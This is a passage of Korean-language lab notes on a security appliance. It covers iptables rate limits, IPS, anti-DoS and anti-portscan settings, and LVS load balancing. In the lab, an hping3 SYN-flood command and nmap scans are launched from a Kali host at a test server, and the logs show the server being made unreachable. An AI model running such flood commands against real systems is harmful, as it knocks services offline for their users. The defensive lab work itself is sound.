&gt; -A UDP_FLOOD -j UDP_FLOOD_SRC
&gt; -A UDP_FLOOD_DROP -m limit --limit 5/sec -m logmark --logmark 60013  -j NFLOG --nflog-prefix  &quot;UDP_FLOOD:&quot;
&gt; -A UDP_FLOOD_DROP -j DROP
&gt; -A UDP_FLOOD_DST -m hashlimit --hashlimit-upto 303/sec --hashlimit-burst 300 --hashlimit-mode dstip --hashlimit-name UDP_FLOOD_DST --hashlimit-htable-expire 10000 -j SPOOFING_PROTECTION
&gt; -A UDP_FLOOD_DST -j UDP_FLOOD_DROP
&gt; -A UDP_FLOOD_SRC -m hashlimit --hashlimit-upto 200/sec --hashlimit-burst 200 --hashlimit-mode srcip --hashlimit-name UDP_FLOOD_SRC --hashlimit-htable-expire 10000 -j UDP_FLOOD_DST
&gt; -A UDP_FLOOD_SRC -j UDP_FLOOD_DROP
258c266
&lt; # Completed on Thu Apr 13 17:29:42 2023
---
&gt; # Completed on Thu Apr 13 17:30:02 2023


CentOS7에 모듈이 있는지 확인한다.
[root@web1 geoip]#  cd
[root@web1 ~]# ls /usr/lib64/xtables/*hash*
/usr/lib64/xtables/libxt_hashlimit.so
[root@web1 ~]# iptables -F
[root@web1 ~]# iptables -N SYN_FLOOD_SRC
[root@web1 ~]# iptables -N SYN_FLOOD_DST
[root@web1 ~]# iptables -A INPUT -m hashlimit --hashlimit-upto 100/sec --hashlimit-burst 100 --hashlimit-mode srcip --hashlimit-name SYN_FLOOD_SRC --hashlimit-htable-expire 10000 -j SYN_FLOOD_DST   
[root@web1 ~]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
SYN_FLOOD_DST  all  --  0.0.0.0/0            0.0.0.0/0            limit: up to 100/sec burst 100 mode srcip htable-expire 10000

[root@web1 ~]# iptables -N SPOOFING_PROTECTION
[root@web1 ~]# iptables -A SYN_FLOOD_DST -m hashlimit --hashlimit-upto 200/sec --hashlimit-burst 200 --hashlimit-mode dstip --hashlimit-name SYN_FLOOD_DST --hashlimit-htable-expire 10000 -j SPOOFING_PROTECTION

설정된 룰을 확인한다.
[root@web1 ~]# iptables -nvL
Chain INPUT (policy ACCEPT 32 packets, 1920 bytes)
 pkts bytes target     prot opt in     out     source               destination
   88  6020 SYN_FLOOD_DST  all  --  *      *       0.0.0.0/0            0.0.0.0/0            limit: up to 100/sec burst 100 mode srcip htable-expire 10000

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 18 packets, 2192 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain SPOOFING_PROTECTION (1 references)
 pkts bytes target     prot opt in     out     source               destination

Chain SYN_FLOOD_DST (1 references)
 pkts bytes target     prot opt in     out     source               destination
   32  1920 SPOOFING_PROTECTION  all  --  *      *       0.0.0.0/0            0.0.0.0/0            limit: up to 200/sec burst 200 mode dstip htable-expire 10000

Chain SYN_FLOOD_SRC (0 references)
 pkts bytes target     prot opt in     out     source               destination

확인이 끝나면 모든 룰을 삭제한다.
[root@web1 ~]# iptables -F
</code></pre><blockquote>
<p>*<em>실습&gt; TCP SYN flooding *</em></p>
</blockquote>
<pre><code>정상 접속
  Attacker        S        Victim
 SYN_SENT   -------------&gt; 
                 S/A
            &lt;------------- SYN_RECV
                 A
ESTABLISHED -------------&gt; ESTABLISHED 


비정상 접속(TCP SYN flooding)
--random-source 옵션이 있는 경우
  Attacker        S        Victim              S/A
 SYN_SENT   -------------&gt;       SYN_RECV -------------&gt;
            -------------&gt;                -------------&gt;
                 :                              :
                 :(생략)                        :(생략)

1. Victim 접속

         L3:                    DNAT
         src: 200.200.200.1     src: 200.200.200.1      src: 200.200.200.1  
         dst: 200.200.200.101   dst: 172.16.10.101      dst: 172.16.10.101

[Host OS] -------------------&gt; [UTM] -------------------&gt; [Victim]
[Host OS] &lt;------------------- [UTM] &lt;------------------- [Victim]
                                src: 172.16.10.101  &lt;-----
                                dst: 200.200.200.1  &lt;-----
         src: 200.200.200.101
         dst: 200.200.200.1

http://200.200.200.101/
Welcome to www.server1.kr!



2. IPS 가 On 경우
[Network Protection] &gt; [Intrusion Prevention] &gt; [Global] &gt; ON
기본값은 꺼져있다.

보호할 네트워크를 지정한다.
[Global IPS Settings] &gt; [Local Networks]&gt; 
아래 2개를 추가한다.
DMZ(Network)
Internal(Network)

Apply 버튼을 클릭해서 IPS를 활성화 시킨다.

3. 로그 모니터링
공격에 관한 로그들을 확인하기 위해서 모니터링한다.
[Open Live Log] 버튼을 클릭한다.

4. 패킷 모니터링
SSH로 접속해서 tcpdump로 패킷을 모니터링한다.
utm9:/root # tcpdump -i eth0 port 80 -nn
[root@web1 ~]# tcpdump -i ens33 port 80 -nn

5. 공격 시도
hping3를 이용해서 TCP SYN flooding을 시도한다.
[root@kali ~]# hping3 -p 80 -S --flood 200.200.200.101

6. 로그 확인
[Open Live Log] 에서 확인한다.
  :
  :(생략)
2023:04:14-09:47:07 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;30738&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:07 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;43087&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:07 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;53841&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:08 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;64948&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:08 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;8075&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:08 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;17252&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:08 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;28804&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:08 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;38217&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:09 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;50478&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:09 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;57654&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:09 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;65384&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:09 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;10587&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:09 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;22118&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
2023:04:14-09:47:10 utm9 ulogd[4587]: id=&quot;2103&quot; severity=&quot;info&quot; sys=&quot;SecureNet&quot; sub=&quot;ips&quot; name=&quot;SYN flood detected&quot; action=&quot;SYN flood&quot; fwrule=&quot;60012&quot; initf=&quot;eth0&quot; srcmac=&quot;00:0c:29:28:37:34&quot; dstmac=&quot;00:0c:29:7e:8e:60&quot; srcip=&quot;200.200.200.3&quot; dstip=&quot;200.200.200.101&quot; proto=&quot;6&quot; length=&quot;40&quot; tos=&quot;0x00&quot; prec=&quot;0x00&quot; ttl=&quot;64&quot; srcport=&quot;33542&quot; dstport=&quot;80&quot; tcpflags=&quot;SYN&quot;
  :
  :(생략)
</code></pre><blockquote>
<p><strong>실습&gt;  TCP SYN Flood Protection 체크</strong></p>
</blockquote>
<pre><code>1. TCP SYN Flood 활성화
[Network Protection] &gt; [Intrusion Prevention] &gt; [Anti/DOS flooding] 

Use TCP SYN Flood Protection 에 체크를 하고 Apply를 누른다.

[v]    Use TCP SYN Flood Protection

2. 웹서버 접속
[root@web1 ~]# iptables -F
[root@web1 ~]# systemctl restart httpd

http://200.200.200.101
Welcome to www.server1.kr!

3. syncookies 확인
[root@web1 ~]# cat /proc/sys/net/ipv4/tcp_syncookies 
1

4. 모니터링과 공격
utm9:/root # tcpdump -i eth0 port 80 -nn
[root@kali ~]# hping3 -p 80 -S --flood 200.200.200.101
[root@web1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0      0 172.16.10.101:22        172.16.10.1:51760       ESTABLISHED
tcp        0     64 172.16.10.101:22        172.16.10.1:51381       ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:25                  :::*                    LISTEN

5. TCP SYN Flood 비활성화
[Network Protection] &gt; [Intrusion Prevention] &gt; [Anti/DOS flooding] 

Use TCP SYN Flood Protection 에 체크를 해제하고 Apply를 누른다.

[ ] Use TCP SYN Flood Protection

utm9:/root # tcpdump -i eth0 port 80 -nn
[root@kali ~]# hping3 -p 80 -S --flood 200.200.200.101
[root@web1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 172.16.10.101:80        200.200.200.3:58557     SYN_RECV   &lt;-- DOS 공격이 일어나고 있다는 의미!
tcp        0      0 172.16.10.101:80        200.200.200.3:58507     SYN_RECV   &lt;-- 하지만 반드시 알아야 되는 것이
tcp        0      0 172.16.10.101:80        200.200.200.3:12256     SYN_RECV   &lt;-- 정상적인 접속이면서 사용자가 
tcp        0      0 172.16.10.101:80        200.200.200.3:22645     SYN_RECV   &lt;-- 많이 접속되면 이런 현상이 발생된다.
  :
  :(생략)
tcp        0      0 172.16.10.101:80        200.200.200.3:57553     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:57542     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:37744     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:60927     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:17694     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:30268     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:60468     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:51403     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:57620     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:12989     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:57285     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:45204     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:60469     SYN_RECV
  :
  :(생략)
tcp        0      0 172.16.10.101:80        200.200.200.3:4879      SYN_RECV   
tcp        0      0 172.16.10.101:80        200.200.200.3:13766     SYN_RECV   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0  15140 172.16.10.101:22        172.16.10.1:1178        ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN  

6. 웹서버 접속
DDoS 공격을 당하고 있는 서버는 Host OS에서 접속하면 접속이 안된다.

http://200.200.200.101/
사이트에 연결할 수 없음200.200.200.101에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.

연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT
</code></pre><blockquote>
<p><strong>실습&gt; Dos/Flooding 대응</strong></p>
</blockquote>
<pre><code>Dos/Flooding 공격에 대응하기 위해서 3개의 메뉴를 모두 On 시켜준다.

Anti-Dos/Flooding(TCP SYN/UDP/ICMP Flooding 차단)
아래 3개 모두 체크한다.

TCP SYN Flood Protection 
- Use TCP SYN Flood Protection 을 체크 -&gt; Apply 클릭

UDP Flood Protection
- Use UDP Flood Protection 을 체크 -&gt; Apply 클릭

ICMP Flood Protection
- Use ICMP Flood Protection 을 체크 -&gt; Apply 클릭
</code></pre><blockquote>
<p><strong>실습&gt; Anti port scan</strong></p>
</blockquote>
<pre><code>1. Anti port scan Off 일 경우
Off일 경우에는 포트스캔이 허용된다.

기본값은 Off로 설정되어 있다.

패킷을 모니터링 한다.
utm9:/root # tcpdump -i eth0 not port 22 -nn

공격자는 200.200.200.101에 포트스캔을 시도한다.
[Management] &gt; [Webadmin Settings] &gt; [General] &gt; WebAdmin Access Configuration 부분에서
Allowed Networks 가 Any로 모두 허용이 되어 있기 때문에 open으로 나온다.

[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:17 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00039s latency).

PORT     STATE SERVICE
22/tcp   open  ssh     &lt;-- UTM 장비의 22번 포트
80/tcp   open  http    &lt;-- DMZ의 웹서버 80번 포트
4444/tcp open  krb524  &lt;-- UTM 장비의 4444번 포트  (Allowed Networks를 Any로 설정했기 때문에)
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

[Management] &gt; [Webadmin Settings] &gt; [General] &gt; WebAdmin Access Configuration 부분에서
Allowed Networks 를 Internal(Networks)로 내부에서만 허용으로 변경하면 filtered로 나온다.
[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-21 21:32 EST
Nmap scan report for 200.200.200.101
Host is up (0.00052s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh      &lt;-- UTM 장비의 22번 포트
80/tcp   open     http
4444/tcp filtered krb524   &lt;-- UTM 장비의 4444번 포트  (Allowed Networks를 Internal로 설정했기 때문에)
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds

22/tcp 가 web1의 포트인지 firewall의 포트인지 확인한다.
[root@web1 ~]# systemctl stop sshd
[root@web1 ~]# netstat -nltp|grep 22
[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:20 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00043s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh     &lt;-- web1에서 sshd를 stop했지만 22번이 나온다는 것은 UTM의 22번 이라는 것을 알 수 있다.
80/tcp   open     http
4444/tcp filtered krb524
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds

[root@web1 ~]# systemctl start sshd

web1에서 웹서버를 중지하고 포트스캔을 한다.
[root@web1 ~]# systemctl stop httpd
[root@web1 ~]# netstat -nltp|grep 80

[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:24 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00096s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   closed   http
4444/tcp filtered krb524
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds


[root@web1 ~]# systemctl start httpd

[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:25 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00026s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
4444/tcp filtered krb524
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds


[Network Protection] &gt; [Intrusion Prevention] &gt; [Anti-Portscan] &gt; On 일 경우

Global Settings    
Action:    Drop traffic
Limit logging 체크

Apply 버튼을 클릭하면 적용된다.


[root@kali ~]# nmap -sS 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:27 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00053s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.58 seconds


[Network Protection] &gt; [Intrusion Prevention] &gt; [Anti-Portscan] &gt; Off 일 경우
[root@kali ~]# nmap -sS 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:28 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00060s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.77 seconds

로그는 아래처럼 기록된다.
  :
  :(생략)
10:28:34.502084 IP 200.200.200.3.43012 &gt; 200.200.200.101.1132: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505336 IP 200.200.200.3.43012 &gt; 200.200.200.101.9917: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 &gt; 200.200.200.101.2809: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 &gt; 200.200.200.101.7019: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 &gt; 200.200.200.101.4003: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 &gt; 200.200.200.101.5911: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505352 IP 200.200.200.3.43012 &gt; 200.200.200.101.8001: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507746 IP 200.200.200.3.43012 &gt; 200.200.200.101.35500: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507746 IP 200.200.200.3.43012 &gt; 200.200.200.101.13456: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507791 IP 200.200.200.3.43012 &gt; 200.200.200.101.683: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507792 IP 200.200.200.3.43012 &gt; 200.200.200.101.7443: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507870 IP 200.200.200.3.43012 &gt; 200.200.200.101.9594: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507870 IP 200.200.200.3.43012 &gt; 200.200.200.101.500: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507884 IP 200.200.200.3.43012 &gt; 200.200.200.101.7999: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507968 IP 200.200.200.3.43012 &gt; 200.200.200.101.1151: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507970 IP 200.200.200.3.43012 &gt; 200.200.200.101.32768: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.508037 IP 200.200.200.3.43012 &gt; 200.200.200.101.2021: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510753 IP 200.200.200.3.43012 &gt; 200.200.200.101.9999: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510753 IP 200.200.200.3.43012 &gt; 200.200.200.101.7911: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510787 IP 200.200.200.3.43012 &gt; 200.200.200.101.1036: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510787 IP 200.200.200.3.43012 &gt; 200.200.200.101.8011: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510830 IP 200.200.200.3.43012 &gt; 200.200.200.101.19350: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510830 IP 200.200.200.3.43012 &gt; 200.200.200.101.1102: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.591466 IP 200.200.200.3.43012 &gt; 200.200.200.101.1201: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0





http://linuxvirtualserver.org/

NAT 방식: 사설 네트워크를 이용하는 방법
Real Server는 모두 사설 네트워크에 들어있고 사설 IP주소를 가지고 있다.
이 방식은 Real Server가 외부로 응답을 할 때는 LVS를 거쳐서 나가는 방법이다.
요청: Client -&gt; LVS -&gt; Real Server, 응답: Real Server -&gt; LVS -&gt; Client
http://linuxvirtualserver.org/VS-NAT.html

Tunneling 방식: 같은 네트워크 + 다른 네트워크를 이용하는 방법
Real Server는 모두 공인 IP주소를 가지고 있다.
이 방식은 Real Server가 외부로 응답을 할 때는 직접 나가는 방법이다.
요청: Client -&gt; LVS -&gt; Real Server, 응답: Real Server -&gt; Client 
http://linuxvirtualserver.org/VS-IPTunneling.html

DR 방식: 같은 네트워크를 이용하는 방법
Real Server는 모두 공인 IP주소를 가지고 있다.
이 방식은 Real Server가 외부로 응답을 할 때는 직접 나가는 방법이다.
요청: Client -&gt; LVS -&gt; Real Server, 응답: Real Server -&gt; Client 
http://linuxvirtualserver.org/VS-DRouting.html
</code></pre><blockquote>
<p><strong>실습&gt; CentOS7에서 LVS 명령어 사용하기</strong></p>
</blockquote>
<pre><code>ipvsadm: LVS 명령어

# yum -y install ipvsadm
# ip a a 172.16.10.102 dev ens33

ipvsadm 옵션
--add-service  -A        add virtual service with options
--tcp-service  -t service-address   service-address is host[:port]
 --scheduler   -s scheduler         one of rr|wrr|lc|wlc|lblc|lblcr|dh|sh|sed|nq,
                                     the default scheduler is wlc.
--add-server   -a        add real server with options
--real-server  -r server-address    server-address is host (and port)

# ipvsadm -A -t 172.16.10.102:80 -s rr
# ipvsadm -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -&gt; RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  172.16.10.102:80 rr

# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.101
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.102
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.103
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.104
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.105
# ipvsadm -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -&gt; RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  172.16.10.102:80 rr
  -&gt; 192.168.100.101:80           Route   1      0          0         
  -&gt; 192.168.100.102:80           Route   1      0          0         
